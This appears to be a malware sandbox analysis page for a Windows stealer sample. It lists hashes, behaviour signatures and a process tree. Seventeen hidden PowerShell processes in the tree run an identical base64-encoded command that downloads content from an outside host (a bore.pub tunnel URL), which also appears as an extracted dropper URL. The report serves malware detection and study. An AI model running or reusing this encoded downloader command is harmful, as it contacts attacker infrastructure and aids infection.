Overview

overview

10

Static

static

3

2026-08-19...er.exe

windows10-2004-x64

10

2026-08-19...er.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    19/08/2026, 04:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe
  • Size 229KB
  • Sample260819-e553nadn51
  • SHA256 0447c15031e9c20bf3e54fff070fc9f3315a189c97d223459ffedf6bda21923c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://bore.pub:41992/tasks?id=6595ee466fd57_1236

Signatures

  • Badlisted process makes network request 17 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-19_bd5ff2aa1568ab360bd00973d670bd81_akira_glassworm_rusty-stealer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3328
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3060
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4776
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1624
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1172
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3292
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1208
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -NoP -W H -Enc JABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAPQAkAGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYgBvAHIAZQAuAHAAdQBiADoANAAxADkAOQAyAC8AdABhAHMAawBzAD8AaQBkAD0ANgA1ADkANQBlAGUANAA2ADYAZgBkADUANwBfADEAMgAzADYAJwApADsAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFcAcgBpAHQAZQAoACQAcgApADsAZQB4AGkAdAA=
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5052

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e02ada53bc66b92eb745e2e9dd3e960d279c0a666960a0c6a76e44882cdccaaa
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 554ba580f4ed5c187f412dcbe52b4e848ac2f166fe0ee6e105c26c2d50049dc7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 88cb8c6a809ecfcdc73025108412f7f37604c29b44cd14c224be1d2f3adf7e3b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 41385f2cb42b41f060b51e83de3c70ec8a7fd07700e44b7450c6a603578030e0
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5ebacd6ee97e90cd3e6b896ecd9040a9edf00497f4554b7bbf62f7d83a094745
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b001c6e8df051e330ac4eaea7d1d881feb39bd19db8b8b748e8929b1a8c25399
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ce10bf9d0f2cb435a3a73e379da9acb9c2c4186ef416e6283953089c3c17af77
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 e383fdc06f6aeb7f9d2882e9ed5fcc2e2cd101aa4eeed5379ee1e15636ee5344
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 0554687e2254846915ac9d734989c77cfc0417bdd6607dd64dde2fb2dcc55854
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ce8919c2f373fbeb62d6ecae9ab255bbeb265be6f3a8f58716dcafe04fda9ccb
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 938ebd2b06448a50c89083855c3ff22964128643e5250c9a8e257559cedd2f11
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 4ef4f678def98cee9e0f1d3da1114b84fc9e285c28c6eaa43e8f1164c0544656
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 2573c0d9af9bc0bf03b996b5b80f2be26ac2df670a5c930a0cf7659faa2cdeef
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 bac4f42ead9023867f9164a410d3c8217fcf075163a0447aa1026bbd699bf5b8
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        __PSScriptPolicyTest_0pxkksv4.mgr.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0pxkksv4.mgr.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/1208-152-0x0000027545C30000-0x0000027545E4C000-memory.dmp
        Download

        memory/3292-142-0x000001E1984F0000-0x000001E19870C000-memory.dmp
        Download

        memory/3328-1-0x000001862C340000-0x000001862C350000-memory.dmp
        Download

        memory/3328-10-0x000001862C340000-0x000001862C350000-memory.dmp
        Download

        memory/3328-9-0x0000018646B10000-0x0000018646B32000-memory.dmp
        Download

        memory/3328-0-0x000001862C340000-0x000001862C350000-memory.dmp
        Download

        memory/3404-14-0x000002878AA90000-0x000002878AAA0000-memory.dmp
        Download

        memory/3404-15-0x000002878AA90000-0x000002878AAA0000-memory.dmp
        Download